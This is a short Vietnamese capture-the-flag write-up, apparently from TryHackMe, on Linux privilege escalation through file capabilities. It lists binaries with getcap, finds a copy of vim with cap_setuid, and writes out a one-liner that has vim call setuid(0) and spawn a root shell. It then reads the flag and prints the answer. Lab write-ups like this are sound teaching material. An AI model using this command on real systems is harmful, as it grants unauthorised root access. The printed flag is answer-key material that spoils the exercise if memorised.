Description
Linux Privilege Escalation
Approach
Linux sử dụng danh sách “capabilities” để quản lý mức độ quyền của các tập tin nhị phân và các tiến trình một cách chi tiết.
Để kiểm tra danh sách các capabilities của người dùng hiện tại thì ta dùng lệnh sau:
getcap -r / 2>/dev/null
Do khi chạy với unprivileged user thì sẽ có rất nhiều lỗi nên ta redirect chúng qua /dev/null
.
Minh họa output:
username@hostname:~$ getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/home/karen/vim = cap_setuid+ep
/home/ubuntu/view = cap_setuid+ep
Chúng ta có thể dùng GTFOBins để tìm ra những câu lệnh có thể dùng để khai thác capabilities. Chẳng hạn với vim
thì có các câu lệnh sau:
Sao chép vim
vào thư mục hiện tại:
cp $(which vim) .
Thực hiện leo thang đặc quyền:
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
Sau đó vào /home/ubuntu
để đọc file flag4.txt
và ta thu được flag.
Flag
Success
THM-9349843